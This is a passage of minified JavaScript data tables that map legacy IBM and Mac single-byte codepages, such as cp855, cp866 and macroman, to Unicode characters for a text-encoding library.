2C\u251C\u2500\u253C\u043A\u041A\u255A\u2554\u2569\u2566\u2560\u2550\u256C\xA4\u043B\u041B\u043C\u041C\u043D\u041D\u043E\u041E\u043F\u2518\u250C\u2588\u2584\u041F\u044F\u2580\u042F\u0440\u0420\u0441\u0421\u0442\u0422\u0443\u0423\u0436\u0416\u0432\u0412\u044C\u042C\u2116\xAD\u044B\u042B\u0437\u0417\u0448\u0428\u044D\u042D\u0449\u0429\u0447\u0427\xA7\u25A0\xA0"},ibm855:"cp855",csibm855:"cp855",cp856:{type:"_sbcs",chars:"\u05D0\u05D1\u05D2\u05D3\u05D4\u05D5\u05D6\u05D7\u05D8\u05D9\u05DA\u05DB\u05DC\u05DD\u05DE\u05DF\u05E0\u05E1\u05E2\u05E3\u05E4\u05E5\u05E6\u05E7\u05E8\u05E9\u05EA\uFFFD\xA3\uFFFD\xD7\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\xAE\xAC\xBD\xBC\uFFFD\xAB\xBB\u2591\u2592\u2593\u2502\u2524\uFFFD\uFFFD\uFFFD\xA9\u2563\u2551\u2557\u255D\xA2\xA5\u2510\u2514\u2534\u252C\u251C\u2500\u253C\uFFFD\uFFFD\u255A\u2554\u2569\u2566\u2560\u2550\u256C\xA4\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u2518\u250C\u2588\u2584\xA6\uFFFD\u2580\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\xB5\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\xAF\xB4\xAD\xB1\u2017\xBE\xB6\xA7\xF7\xB8\xB0\xA8\xB7\xB9\xB3\xB2\u25A0\xA0"},ibm856:"cp856",csibm856:"cp856",cp857:{type:"_sbcs",chars:"\xC7\xFC\xE9\xE2\xE4\xE0\xE5\xE7\xEA\xEB\xE8\xEF\xEE\u0131\xC4\xC5\xC9\xE6\xC6\xF4\xF6\xF2\xFB\xF9\u0130\xD6\xDC\xF8\xA3\xD8\u015E\u015F\xE1\xED\xF3\xFA\xF1\xD1\u011E\u011F\xBF\xAE\xAC\xBD\xBC\xA1\xAB\xBB\u2591\u2592\u2593\u2502\u2524\xC1\xC2\xC0\xA9\u2563\u2551\u2557\u255D\xA2\xA5\u2510\u2514\u2534\u252C\u251C\u2500\u253C\xE3\xC3\u255A\u2554\u2569\u2566\u2560\u2550\u256C\xA4\xBA\xAA\xCA\xCB\xC8\uFFFD\xCD\xCE\xCF\u2518\u250C\u2588\u2584\xA6\xCC\u2580\xD3\xDF\xD4\xD2\xF5\xD5\xB5\uFFFD\xD7\xDA\xDB\xD9\xEC\xFF\xAF\xB4\xAD\xB1\uFFFD\xBE\xB6\xA7\xF7\xB8\xB0\xA8\xB7\xB9\xB3\xB2\u25A0\xA0"},ibm857:"cp857",csibm857:"cp857",cp858:{type:"_sbcs",chars:"\xC7\xFC\xE9\xE2\xE4\xE0\xE5\xE7\xEA\xEB\xE8\xEF\xEE\xEC\xC4\xC5\xC9\xE6\xC6\xF4\xF6\xF2\xFB\xF9\xFF\xD6\xDC\xF8\xA3\xD8\xD7\u0192\xE1\xED\xF3\xFA\xF1\xD1\xAA\xBA\xBF\xAE\xAC\xBD\xBC\xA1\xAB\xBB\u2591\u2592\u2593\u2502\u2524\xC1\xC2\xC0\xA9\u2563\u2551\u2557\u255D\xA2\xA5\u2510\u2514\u2534\u252C\u251C\u2500\u253C\xE3\xC3\u255A\u2554\u2569\u2566\u2560\u2550\u256C\xA4\xF0\xD0\xCA\xCB\xC8\u20AC\xCD\xCE\xCF\u2518\u250C\u2588\u2584\xA6\xCC\u2580\xD3\xDF\xD4\xD2\xF5\xD5\xB5\xFE\xDE\xDA\xDB\xD9\xFD\xDD\xAF\xB4\xAD\xB1\u2017\xBE\xB6\xA7\xF7\xB8\xB0\xA8\xB7\xB9\xB3\xB2\u25A0\xA0"},ibm858:"cp858",csibm858:"cp858",cp860:{type:"_sbcs",chars:"\xC7\xFC\xE9\xE2\xE3\xE0\xC1\xE7\xEA\xCA\xE8\xCD\xD4\xEC\xC3\xC2\xC9\xC0\xC8\xF4\xF5\xF2\xDA\xF9\xCC\xD5\xDC\xA2\xA3\xD9\u20A7\xD3\xE1\xED\xF3\xFA\xF1\xD1\xAA\xBA\xBF\xD2\xAC\xBD\xBC\xA1\xAB\xBB\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u03B1\xDF\u0393\u03C0\u03A3\u03C3\xB5\u03C4\u03A6\u0398\u03A9\u03B4\u221E\u03C6\u03B5\u2229\u2261\xB1\u2265\u2264\u2320\u2321\xF7\u2248\xB0\u2219\xB7\u221A\u207F\xB2\u25A0\xA0"},ibm860:"cp860",csibm860:"cp860",cp861:{type:"_sbcs",chars:"\xC7\xFC\xE9\xE2\xE4\xE0\xE5\xE7\xEA\xEB\xE8\xD0\xF0\xDE\xC4\xC5\xC9\xE6\xC6\xF4\xF6\xFE\xFB\xDD\xFD\xD6\xDC\xF8\xA3\xD8\u20A7\u0192\xE1\xED\xF3\xFA\xC1\xCD\xD3\xDA\xBF\u2310\xAC\xBD\xBC\xA1\xAB\xBB\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u03B1\xDF\u0393\u03C0\u03A3\u03C3\xB5\u03C4\u03A6\u0398\u03A9\u03B4\u221E\u03C6\u03B5\u2229\u2261\xB1\u2265\u2264\u2320\u2321\xF7\u2248\xB0\u2219\xB7\u221A\u207F\xB2\u25A0\xA0"},ibm861:"cp861",csibm861:"cp861",cp862:{type:"_sbcs",chars:"\u05D0\u05D1\u05D2\u05D3\u05D4\u05D5\u05D6\u05D7\u05D8\u05D9\u05DA\u05DB\u05DC\u05DD\u05DE\u05DF\u05E0\u05E1\u05E2\u05E3\u05E4\u05E5\u05E6\u05E7\u05E8\u05E9\u05EA\xA2\xA3\xA5\u20A7\u0192\xE1\xED\xF3\xFA\xF1\xD1\xAA\xBA\xBF\u2310\xAC\xBD\xBC\xA1\xAB\xBB\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u03B1\xDF\u0393\u03C0\u03A3\u03C3\xB5\u03C4\u03A6\u0398\u03A9\u03B4\u221E\u03C6\u03B5\u2229\u2261\xB1\u2265\u2264\u2320\u2321\xF7\u2248\xB0\u2219\xB7\u221A\u207F\xB2\u25A0\xA0"},ibm862:"cp862",csibm862:"cp862",cp863:{type:"_sbcs",chars:"\xC7\xFC\xE9\xE2\xC2\xE0\xB6\xE7\xEA\xEB\xE8\xEF\xEE\u2017\xC0\xA7\xC9\xC8\xCA\xF4\xCB\xCF\xFB\xF9\xA4\xD4\xDC\xA2\xA3\xD9\xDB\u0192\xA6\xB4\xF3\xFA\xA8\xB8\xB3\xAF\xCE\u2310\xAC\xBD\xBC\xBE\xAB\xBB\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u03B1\xDF\u0393\u03C0\u03A3\u03C3\xB5\u03C4\u03A6\u0398\u03A9\u03B4\u221E\u03C6\u03B5\u2229\u2261\xB1\u2265\u2264\u2320\u2321\xF7\u2248\xB0\u2219\xB7\u221A\u207F\xB2\u25A0\xA0"},ibm863:"cp863",csibm863:"cp863",cp864:{type:"_sbcs",chars:`\0\x07\b \v\f\r\x1B !"#$\u066A&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_\`abcdefghijklmnopqrstuvwxyz{|}~\x7F\xB0\xB7\u2219\u221A\u2592\u2500\u2502\u253C\u2524\u252C\u251C\u2534\u2510\u250C\u2514\u2518\u03B2\u221E\u03C6\xB1\xBD\xBC\u2248\xAB\xBB\uFEF7\uFEF8\uFFFD\uFFFD\uFEFB\uFEFC\uFFFD\xA0\xAD\uFE82\xA3\xA4\uFE84\uFFFD\uFFFD\uFE8E\uFE8F\uFE95\uFE99\u060C\uFE9D\uFEA1\uFEA5\u0660\u0661\u0662\u0663\u0664\u0665\u0666\u0667\u0668\u0669\uFED1\u061B\uFEB1\uFEB5\uFEB9\u061F\xA2\uFE80\uFE81\uFE83\uFE85\uFECA\uFE8B\uFE8D\uFE91\uFE93\uFE97\uFE9B\uFE9F\uFEA3\uFEA7\uFEA9\uFEAB\uFEAD\uFEAF\uFEB3\uFEB7\uFEBB\uFEBF\uFEC1\uFEC5\uFECB\uFECF\xA6\xAC\xF7\xD7\uFEC9\u0640\uFED3\uFED7\uFEDB\uFEDF\uFEE3\uFEE7\uFEEB\uFEED\uFEEF\uFEF3\uFEBD\uFECC\uFECE\uFECD\uFEE1\uFE7D\u0651\uFEE5\uFEE9\uFEEC\uFEF0\uFEF2\uFED0\uFED5\uFEF5\uFEF6\uFEDD\uFED9\uFEF1\u25A0\uFFFD`},ibm864:"cp864",csibm864:"cp864",cp865:{type:"_sbcs",chars:"\xC7\xFC\xE9\xE2\xE4\xE0\xE5\xE7\xEA\xEB\xE8\xEF\xEE\xEC\xC4\xC5\xC9\xE6\xC6\xF4\xF6\xF2\xFB\xF9\xFF\xD6\xDC\xF8\xA3\xD8\u20A7\u0192\xE1\xED\xF3\xFA\xF1\xD1\xAA\xBA\xBF\u2310\xAC\xBD\xBC\xA1\xAB\xA4\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u03B1\xDF\u0393\u03C0\u03A3\u03C3\xB5\u03C4\u03A6\u0398\u03A9\u03B4\u221E\u03C6\u03B5\u2229\u2261\xB1\u2265\u2264\u2320\u2321\xF7\u2248\xB0\u2219\xB7\u221A\u207F\xB2\u25A0\xA0"},ibm865:"cp865",csibm865:"cp865",cp866:{type:"_sbcs",chars:"\u0410\u0411\u0412\u0413\u0414\u0415\u0416\u0417\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u0420\u0421\u0422\u0423\u0424\u0425\u0426\u0427\u0428\u0429\u042A\u042B\u042C\u042D\u042E\u042F\u0430\u0431\u0432\u0433\u0434\u0435\u0436\u0437\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u0440\u0441\u0442\u0443\u0444\u0445\u0446\u0447\u0448\u0449\u044A\u044B\u044C\u044D\u044E\u044F\u0401\u0451\u0404\u0454\u0407\u0457\u040E\u045E\xB0\u2219\xB7\u221A\u2116\xA4\u25A0\xA0"},ibm866:"cp866",csibm866:"cp866",cp869:{type:"_sbcs",chars:"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u0386\uFFFD\xB7\xAC\xA6\u2018\u2019\u0388\u2015\u0389\u038A\u03AA\u038C\uFFFD\uFFFD\u038E\u03AB\xA9\u038F\xB2\xB3\u03AC\xA3\u03AD\u03AE\u03AF\u03CA\u0390\u03CC\u03CD\u0391\u0392\u0393\u0394\u0395\u0396\u0397\xBD\u0398\u0399\xAB\xBB\u2591\u2592\u2593\u2502\u2524\u039A\u039B\u039C\u039D\u2563\u2551\u2557\u255D\u039E\u039F\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u03A0\u03A1\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u03A3\u03A4\u03A5\u03A6\u03A7\u03A8\u03A9\u03B1\u03B2\u03B3\u2518\u250C\u2588\u2584\u03B4\u03B5\u2580\u03B6\u03B7\u03B8\u03B9\u03BA\u03BB\u03BC\u03BD\u03BE\u03BF\u03C0\u03C1\u03C3\u03C2\u03C4\u0384\xAD\xB1\u03C5\u03C6\u03C7\xA7\u03C8\u0385\xB0\xA8\u03C9\u03CB\u03B0\u03CE\u25A0\xA0"},ibm869:"cp869",csibm869:"cp869",cp922:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\u203E\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\u0160\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\u017D\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\u0161\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\u017E\xFF"},ibm922:"cp922",csibm922:"cp922",cp1046:{type:"_sbcs",chars:"\uFE88\xD7\xF7\uF8F6\uF8F5\uF8F4\uF8F7\uFE71\x88\u25A0\u2502\u2500\u2510\u250C\u2514\u2518\uFE79\uFE7B\uFE7D\uFE7F\uFE77\uFE8A\uFEF0\uFEF3\uFEF2\uFECE\uFECF\uFED0\uFEF6\uFEF8\uFEFA\uFEFC\xA0\uF8FA\uF8F9\uF8F8\xA4\uF8FB\uFE8B\uFE91\uFE97\uFE9B\uFE9F\uFEA3\u060C\xAD\uFEA7\uFEB3\u0660\u0661\u0662\u0663\u0664\u0665\u0666\u0667\u0668\u0669\uFEB7\u061B\uFEBB\uFEBF\uFECA\u061F\uFECB\u0621\u0622\u0623\u0624\u0625\u0626\u0627\u0628\u0629\u062A\u062B\u062C\u062D\u062E\u062F\u0630\u0631\u0632\u0633\u0634\u0635\u0636\u0637\uFEC7\u0639\u063A\uFECC\uFE82\uFE84\uFE8E\uFED3\u0640\u0641\u0642\u0643\u0644\u0645\u0646\u0647\u0648\u0649\u064A\u064B\u064C\u064D\u064E\u064F\u0650\u0651\u0652\uFED7\uFEDB\uFEDF\uF8FC\uFEF5\uFEF7\uFEF9\uFEFB\uFEE3\uFEE7\uFEEC\uFEE9\uFFFD"},ibm1046:"cp1046",csibm1046:"cp1046",cp1124:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u0401\u0402\u0490\u0404\u0405\u0406\u0407\u0408\u0409\u040A\u040B\u040C\xAD\u040E\u040F\u0410\u0411\u0412\u0413\u0414\u0415\u0416\u0417\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u0420\u0421\u0422\u0423\u0424\u0425\u0426\u0427\u0428\u0429\u042A\u042B\u042C\u042D\u042E\u042F\u0430\u0431\u0432\u0433\u0434\u0435\u0436\u0437\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u0440\u0441\u0442\u0443\u0444\u0445\u0446\u0447\u0448\u0449\u044A\u044B\u044C\u044D\u044E\u044F\u2116\u0451\u0452\u0491\u0454\u0455\u0456\u0457\u0458\u0459\u045A\u045B\u045C\xA7\u045E\u045F"},ibm1124:"cp1124",csibm1124:"cp1124",cp1125:{type:"_sbcs",chars:"\u0410\u0411\u0412\u0413\u0414\u0415\u0416\u0417\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u0420\u0421\u0422\u0423\u0424\u0425\u0426\u0427\u0428\u0429\u042A\u042B\u042C\u042D\u042E\u042F\u0430\u0431\u0432\u0433\u0434\u0435\u0436\u0437\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u0440\u0441\u0442\u0443\u0444\u0445\u0446\u0447\u0448\u0449\u044A\u044B\u044C\u044D\u044E\u044F\u0401\u0451\u0490\u0491\u0404\u0454\u0406\u0456\u0407\u0457\xB7\u221A\u2116\xA4\u25A0\xA0"},ibm1125:"cp1125",csibm1125:"cp1125",cp1129:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\u0153\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\u0178\xB5\xB6\xB7\u0152\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\u0102\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\u0300\xCD\xCE\xCF\u0110\xD1\u0309\xD3\xD4\u01A0\xD6\xD7\xD8\xD9\xDA\xDB\xDC\u01AF\u0303\xDF\xE0\xE1\xE2\u0103\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\u0301\xED\xEE\xEF\u0111\xF1\u0323\xF3\xF4\u01A1\xF6\xF7\xF8\xF9\xFA\xFB\xFC\u01B0\u20AB\xFF"},ibm1129:"cp1129",csibm1129:"cp1129",cp1133:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u0E81\u0E82\u0E84\u0E87\u0E88\u0EAA\u0E8A\u0E8D\u0E94\u0E95\u0E96\u0E97\u0E99\u0E9A\u0E9B\u0E9C\u0E9D\u0E9E\u0E9F\u0EA1\u0EA2\u0EA3\u0EA5\u0EA7\u0EAB\u0EAD\u0EAE\uFFFD\uFFFD\uFFFD\u0EAF\u0EB0\u0EB2\u0EB3\u0EB4\u0EB5\u0EB6\u0EB7\u0EB8\u0EB9\u0EBC\u0EB1\u0EBB\u0EBD\uFFFD\uFFFD\uFFFD\u0EC0\u0EC1\u0EC2\u0EC3\u0EC4\u0EC8\u0EC9\u0ECA\u0ECB\u0ECC\u0ECD\u0EC6\uFFFD\u0EDC\u0EDD\u20AD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u0ED0\u0ED1\u0ED2\u0ED3\u0ED4\u0ED5\u0ED6\u0ED7\u0ED8\u0ED9\uFFFD\uFFFD\xA2\xAC\xA6\uFFFD"},ibm1133:"cp1133",csibm1133:"cp1133",cp1161:{type:"_sbcs",chars:"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u0E48\u0E01\u0E02\u0E03\u0E04\u0E05\u0E06\u0E07\u0E08\u0E09\u0E0A\u0E0B\u0E0C\u0E0D\u0E0E\u0E0F\u0E10\u0E11\u0E12\u0E13\u0E14\u0E15\u0E16\u0E17\u0E18\u0E19\u0E1A\u0E1B\u0E1C\u0E1D\u0E1E\u0E1F\u0E20\u0E21\u0E22\u0E23\u0E24\u0E25\u0E26\u0E27\u0E28\u0E29\u0E2A\u0E2B\u0E2C\u0E2D\u0E2E\u0E2F\u0E30\u0E31\u0E32\u0E33\u0E34\u0E35\u0E36\u0E37\u0E38\u0E39\u0E3A\u0E49\u0E4A\u0E4B\u20AC\u0E3F\u0E40\u0E41\u0E42\u0E43\u0E44\u0E45\u0E46\u0E47\u0E48\u0E49\u0E4A\u0E4B\u0E4C\u0E4D\u0E4E\u0E4F\u0E50\u0E51\u0E52\u0E53\u0E54\u0E55\u0E56\u0E57\u0E58\u0E59\u0E5A\u0E5B\xA2\xAC\xA6\xA0"},ibm1161:"cp1161",csibm1161:"cp1161",cp1162:{type:"_sbcs",chars:"\u20AC\x81\x82\x83\x84\u2026\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\u2018\u2019\u201C\u201D\u2022\u2013\u2014\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u0E01\u0E02\u0E03\u0E04\u0E05\u0E06\u0E07\u0E08\u0E09\u0E0A\u0E0B\u0E0C\u0E0D\u0E0E\u0E0F\u0E10\u0E11\u0E12\u0E13\u0E14\u0E15\u0E16\u0E17\u0E18\u0E19\u0E1A\u0E1B\u0E1C\u0E1D\u0E1E\u0E1F\u0E20\u0E21\u0E22\u0E23\u0E24\u0E25\u0E26\u0E27\u0E28\u0E29\u0E2A\u0E2B\u0E2C\u0E2D\u0E2E\u0E2F\u0E30\u0E31\u0E32\u0E33\u0E34\u0E35\u0E36\u0E37\u0E38\u0E39\u0E3A\uFFFD\uFFFD\uFFFD\uFFFD\u0E3F\u0E40\u0E41\u0E42\u0E43\u0E44\u0E45\u0E46\u0E47\u0E48\u0E49\u0E4A\u0E4B\u0E4C\u0E4D\u0E4E\u0E4F\u0E50\u0E51\u0E52\u0E53\u0E54\u0E55\u0E56\u0E57\u0E58\u0E59\u0E5A\u0E5B\uFFFD\uFFFD\uFFFD\uFFFD"},ibm1162:"cp1162",csibm1162:"cp1162",cp1163:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2\xA3\u20AC\xA5\xA6\xA7\u0153\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\u0178\xB5\xB6\xB7\u0152\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\u0102\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\u0300\xCD\xCE\xCF\u0110\xD1\u0309\xD3\xD4\u01A0\xD6\xD7\xD8\xD9\xDA\xDB\xDC\u01AF\u0303\xDF\xE0\xE1\xE2\u0103\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\u0301\xED\xEE\xEF\u0111\xF1\u0323\xF3\xF4\u01A1\xF6\xF7\xF8\xF9\xFA\xFB\xFC\u01B0\u20AB\xFF"},ibm1163:"cp1163",csibm1163:"cp1163",maccroatian:{type:"_sbcs",chars:"\xC4\xC5\xC7\xC9\xD1\xD6\xDC\xE1\xE0\xE2\xE4\xE3\xE5\xE7\xE9\xE8\xEA\xEB\xED\xEC\xEE\xEF\xF1\xF3\xF2\xF4\xF6\xF5\xFA\xF9\xFB\xFC\u2020\xB0\xA2\xA3\xA7\u2022\xB6\xDF\xAE\u0160\u2122\xB4\xA8\u2260\u017D\xD8\u221E\xB1\u2264\u2265\u2206\xB5\u2202\u2211\u220F\u0161\u222B\xAA\xBA\u2126\u017E\xF8\xBF\xA1\xAC\u221A\u0192\u2248\u0106\xAB\u010C\u2026\xA0\xC0\xC3\xD5\u0152\u0153\u0110\u2014\u201C\u201D\u2018\u2019\xF7\u25CA\uFFFD\xA9\u2044\xA4\u2039\u203A\xC6\xBB\u2013\xB7\u201A\u201E\u2030\xC2\u0107\xC1\u010D\xC8\xCD\xCE\xCF\xCC\xD3\xD4\u0111\xD2\xDA\xDB\xD9\u0131\u02C6\u02DC\xAF\u03C0\xCB\u02DA\xB8\xCA\xE6\u02C7"},maccyrillic:{type:"_sbcs",chars:"\u0410\u0411\u0412\u0413\u0414\u0415\u0416\u0417\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u0420\u0421\u0422\u0423\u0424\u0425\u0426\u0427\u0428\u0429\u042A\u042B\u042C\u042D\u042E\u042F\u2020\xB0\xA2\xA3\xA7\u2022\xB6\u0406\xAE\xA9\u2122\u0402\u0452\u2260\u0403\u0453\u221E\xB1\u2264\u2265\u0456\xB5\u2202\u0408\u0404\u0454\u0407\u0457\u0409\u0459\u040A\u045A\u0458\u0405\xAC\u221A\u0192\u2248\u2206\xAB\xBB\u2026\xA0\u040B\u045B\u040C\u045C\u0455\u2013\u2014\u201C\u201D\u2018\u2019\xF7\u201E\u040E\u045E\u040F\u045F\u2116\u0401\u0451\u044F\u0430\u0431\u0432\u0433\u0434\u0435\u0436\u0437\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u0440\u0441\u0442\u0443\u0444\u0445\u0446\u0447\u0448\u0449\u044A\u044B\u044C\u044D\u044E\xA4"},macgreek:{type:"_sbcs",chars:"\xC4\xB9\xB2\xC9\xB3\xD6\xDC\u0385\xE0\xE2\xE4\u0384\xA8\xE7\xE9\xE8\xEA\xEB\xA3\u2122\xEE\xEF\u2022\xBD\u2030\xF4\xF6\xA6\xAD\xF9\xFB\xFC\u2020\u0393\u0394\u0398\u039B\u039E\u03A0\xDF\xAE\xA9\u03A3\u03AA\xA7\u2260\xB0\u0387\u0391\xB1\u2264\u2265\xA5\u0392\u0395\u0396\u0397\u0399\u039A\u039C\u03A6\u03AB\u03A8\u03A9\u03AC\u039D\xAC\u039F\u03A1\u2248\u03A4\xAB\xBB\u2026\xA0\u03A5\u03A7\u0386\u0388\u0153\u2013\u2015\u201C\u201D\u2018\u2019\xF7\u0389\u038A\u038C\u038E\u03AD\u03AE\u03AF\u03CC\u038F\u03CD\u03B1\u03B2\u03C8\u03B4\u03B5\u03C6\u03B3\u03B7\u03B9\u03BE\u03BA\u03BB\u03BC\u03BD\u03BF\u03C0\u03CE\u03C1\u03C3\u03C4\u03B8\u03C9\u03C2\u03C7\u03C5\u03B6\u03CA\u03CB\u0390\u03B0\uFFFD"},maciceland:{type:"_sbcs",chars:"\xC4\xC5\xC7\xC9\xD1\xD6\xDC\xE1\xE0\xE2\xE4\xE3\xE5\xE7\xE9\xE8\xEA\xEB\xED\xEC\xEE\xEF\xF1\xF3\xF2\xF4\xF6\xF5\xFA\xF9\xFB\xFC\xDD\xB0\xA2\xA3\xA7\u2022\xB6\xDF\xAE\xA9\u2122\xB4\xA8\u2260\xC6\xD8\u221E\xB1\u2264\u2265\xA5\xB5\u2202\u2211\u220F\u03C0\u222B\xAA\xBA\u2126\xE6\xF8\xBF\xA1\xAC\u221A\u0192\u2248\u2206\xAB\xBB\u2026\xA0\xC0\xC3\xD5\u0152\u0153\u2013\u2014\u201C\u201D\u2018\u2019\xF7\u25CA\xFF\u0178\u2044\xA4\xD0\xF0\xDE\xFE\xFD\xB7\u201A\u201E\u2030\xC2\xCA\xC1\xCB\xC8\xCD\xCE\xCF\xCC\xD3\xD4\uFFFD\xD2\xDA\xDB\xD9\u0131\u02C6\u02DC\xAF\u02D8\u02D9\u02DA\xB8\u02DD\u02DB\u02C7"},macroman:{type:"_sbcs",chars:"\xC4\xC5\xC7\xC9\xD1\xD6\xDC\xE1\xE0\xE2\xE4\xE3\xE5\xE7\xE9\xE8\xEA\xEB\xED\xEC\xEE\xEF\xF1\xF3\xF2\xF4\xF6\xF5\xFA\xF9\xFB\xFC\u2020\xB0\xA2\xA3\xA7\u2022\xB6\xDF\xAE\xA9\u2122\xB4\xA8\u2260\xC6\xD8\u221E\xB1\u2264\u2265\xA5\xB5\u2202\u2211\u220F\u03C0\u222B\xAA\xBA\u2126\xE6\xF8\xBF\xA1\xAC\u221A\u0192\u2248\u2206\xAB\xBB\u2026\xA0\xC0\xC3\xD5\u0152\u0153\u2013\u2014\u201C\u201D\u2018\u2019\xF7\u25CA\xFF\u0178\u2044\xA4\u2039\u203A\uFB01\uFB02\u2021\xB7\u201A\u201E\u2030\xC2\xCA\xC1\xCB\xC8\xCD\xCE\x